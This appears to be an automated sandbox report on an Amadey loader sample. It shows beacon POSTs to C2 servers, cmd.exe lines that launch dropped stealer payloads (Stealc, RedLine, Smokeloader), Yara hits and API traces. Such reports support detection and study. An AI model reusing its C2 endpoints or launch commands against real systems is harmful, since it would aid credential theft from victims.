Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49566	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:03.862299919 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:40:04.600392103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49569	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:03.994754076 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:40:04.753778934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	23:37:56
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\8NjcvPNvUr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8NjcvPNvUr.exe"
Imagebase:	0x250000
File size:	1'955'840 bytes
MD5 hash:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1686962382.0000000000251000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1646914166.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:37:58
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0x310000
File size:	1'955'840 bytes
MD5 hash:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1671801821.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1712103381.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:37:58
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x310000
File size:	1'955'840 bytes
MD5 hash:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1675477265.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1715844262.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:39:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x310000
File size:	1'955'840 bytes
MD5 hash:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2288311449.0000000004830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:39:04
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"
Imagebase:	0x7ff6ec4b0000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.2743508597.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2741099564.00000000024AD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:39:09
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"
Imagebase:	0x390000
File size:	3'171'840 bytes
MD5 hash:	ED89562ECF478105FE0DAB7EB6296170
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:39:16
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.2721807225.00000000025D0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.2722138020.00000000040D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:39:24
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"
Imagebase:	0x390000
File size:	3'171'840 bytes
MD5 hash:	ED89562ECF478105FE0DAB7EB6296170
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	23:39:24
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:39:24
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:39:24
Start date:	26/07/2024
Path:	C:\Users\user\AppData\RoamingHJDBKJKFIE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"
Imagebase:	0xc30000
File size:	1'955'840 bytes
MD5 hash:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2581050540.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2539138364.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:39:26
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKFHCAEGCBF.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:39:26
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:39:26
Start date:	26/07/2024
Path:	C:\Users\userKFHCAEGCBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userKFHCAEGCBF.exe"
Imagebase:	0xc10000
File size:	1'879'552 bytes
MD5 hash:	4244BD9C011F09D5FB95BBE4CDA9EA93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2597088663.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.2556118142.0000000005400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:39:29
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x160000
File size:	1'879'552 bytes
MD5 hash:	4244BD9C011F09D5FB95BBE4CDA9EA93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2583529473.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2624183793.0000000000161000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:39:29
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:39:29
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:39:29
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:39:30
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8052 -s 2432
Imagebase:	0x800000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:39:30
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6704 -s 1312
Imagebase:	0x800000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:39:32
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fac9cc89-eaa9-45bc-9cd9-39fa408611c3} 7664 "\\.\pipe\gecko-crash-server-pipe.7664" 238e766c110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:39:32
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001E.00000002.2783023147.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:39:41
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"
Imagebase:	0x390000
File size:	3'171'840 bytes
MD5 hash:	ED89562ECF478105FE0DAB7EB6296170
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	23:39:46
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 1028
Imagebase:	0x800000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:39:52
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:39:52
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	23:39:54
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77cf4557-a063-4b0f-83a1-cb60c77939fe} 2116 "\\.\pipe\gecko-crash-server-pipe.2116" 28621a6eb10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	23:40:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x160000
File size:	1'879'552 bytes
MD5 hash:	4244BD9C011F09D5FB95BBE4CDA9EA93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000002.2917060920.0000000000161000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000003.2894591592.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 04C80CC5 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58638fa8f0ee52334da3e428a6f8b0f1bd0efa4f7952b3b85f49a26e89dfe02d
Instruction ID: 138f77358b84c6f38fbb166d9acfda183e92a0a5dceb0ff4a5c0c2898bb00192
Opcode Fuzzy Hash: 58638fa8f0ee52334da3e428a6f8b0f1bd0efa4f7952b3b85f49a26e89dfe02d
Instruction Fuzzy Hash: 371138EB289110BD7142A1872B18AFBAA6EE5C7634735843BF807D5502F2C86E4D7131

Function 04C80CCC Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

kZXZ, xrefs: 04C80CB6

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID: kZXZ
API String ID: 0-1435790286
Opcode ID: a06879b27fdecbbb978bb3dfce7d2030d5f04113f28214fd21bcecd04b92c1df
Instruction ID: 1dd54d38f8341bcea5e5dfdbe427f33fad105db528e8acae1ee4661aa42bf26d
Opcode Fuzzy Hash: a06879b27fdecbbb978bb3dfce7d2030d5f04113f28214fd21bcecd04b92c1df
Instruction Fuzzy Hash: FE31C4EB2492107EB112A6936B549F7BB7EEAC3734731882FF446C6502F1D46E4E6131

Function 04C80D2F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0dace431684b00075c49c0a8723a7f647b735193642150273b608fce3542b52
Instruction ID: 7c513470277d898e6dbfac86d26573904b265f3af26ba71eff0ef79676f0c1e2
Opcode Fuzzy Hash: b0dace431684b00075c49c0a8723a7f647b735193642150273b608fce3542b52
Instruction Fuzzy Hash: 811149EB2891247DB152A1872B18AFBAB2EE5C6634735C43BF407D1902F2C81F4E2031

Function 04C80D12 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cbe99cb37ead9f5ad502480e7b536d724d0d4758aa41040c76db665971e6e9
Instruction ID: 7542ec015c6029b1bb7849240b5d5426d7ea7755745d5328d66b0ede731f116b
Opcode Fuzzy Hash: e1cbe99cb37ead9f5ad502480e7b536d724d0d4758aa41040c76db665971e6e9
Instruction Fuzzy Hash: 381146EB2891207DB152A1872B18AFBAB3EE4C6A34735C43BF807D1502F2C81F4E6131

Function 04C80D42 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53800371cd1a0648528a4232d6a82f2af2c2a29e8c3ec561d2e0a07a63dd58b
Instruction ID: d782853276eaefe3313797db54a5de2cdf86a0311c7e5618a56df9fb0983f5b9
Opcode Fuzzy Hash: f53800371cd1a0648528a4232d6a82f2af2c2a29e8c3ec561d2e0a07a63dd58b
Instruction Fuzzy Hash: C401B7EF2891247DB142A5873B28AFBAB7EE4C6635735843BF806D1502F2C81F5E6131

Non-executed Functions

Function 04C80081 Relevance: 1.5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

Strings

7p&, xrefs: 04C80453

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID: 7p&
API String ID: 0-2006714684
Opcode ID: c55ff9f708ff0d7a1ca9e90d3adb0b2c04885db32dd9cc3956373e3af0d20633
Instruction ID: cdff338693467dcf26a92be7c6422f69514c4ac9ec28e2a25641f95fec332225
Opcode Fuzzy Hash: c55ff9f708ff0d7a1ca9e90d3adb0b2c04885db32dd9cc3956373e3af0d20633
Instruction Fuzzy Hash: A651D6EB34C151BEB103A5471A54AB66B2FE5D7738B3A806EF407CA543F2C42A4E7171

Function 04C80B54 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1689456247.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_8NjcvPNvUr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04fa11d4726a5dcb846433271d19098bd9f1a1acc34fb6f7284f442ef0053612
Instruction ID: b328f816514186aa91a8425eea6f0b7998c02275624427ffe6ab930919e756e1
Opcode Fuzzy Hash: 04fa11d4726a5dcb846433271d19098bd9f1a1acc34fb6f7284f442ef0053612
Instruction Fuzzy Hash: 3EE02BF7A0C5906DB206C1512694AFA7B75E5C693A33184BEE000DA413DA455E4FC571

Analysis Process: explorti.exePID: 7872, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1822
Total number of Limit Nodes:	42

Executed Functions

Function 0031BD60 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00368D68,00000000,00000000,00000000,00000000), ref: 0031BDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0031BE11
HttpOpenRequestA.WININET(?,00000000), ref: 0031BE5A
HttpSendRequestA.WININET(?,00000000), ref: 0031BF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 0031BFCD
InternetCloseHandle.WININET(?), ref: 0031C0A7
InternetCloseHandle.WININET(?), ref: 0031C0AF
InternetCloseHandle.WININET(?), ref: 0031C0B7

Strings

invalid stoi argument, xrefs: 0031E404
6JLUcxtnEx==, xrefs: 0031C2EB, 0031C543
stoi argument out of range, xrefs: 0031E3FA
6JLUcBRYEz9=, xrefs: 0031C385
PoPn, xrefs: 0031D516
PG3NVu==, xrefs: 0031BE33
d47, xrefs: 0031E2FF

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 6JLUcBRYEz9=$6JLUcxtnEx==$PG3NVu==$PoPn$d47$invalid stoi argument$stoi argument out of range
API String ID: 688256393-3943071009
Opcode ID: f2fbca57263c15560b6f0cd80e61188403d678f1b52b1411414221f1ccb4077c
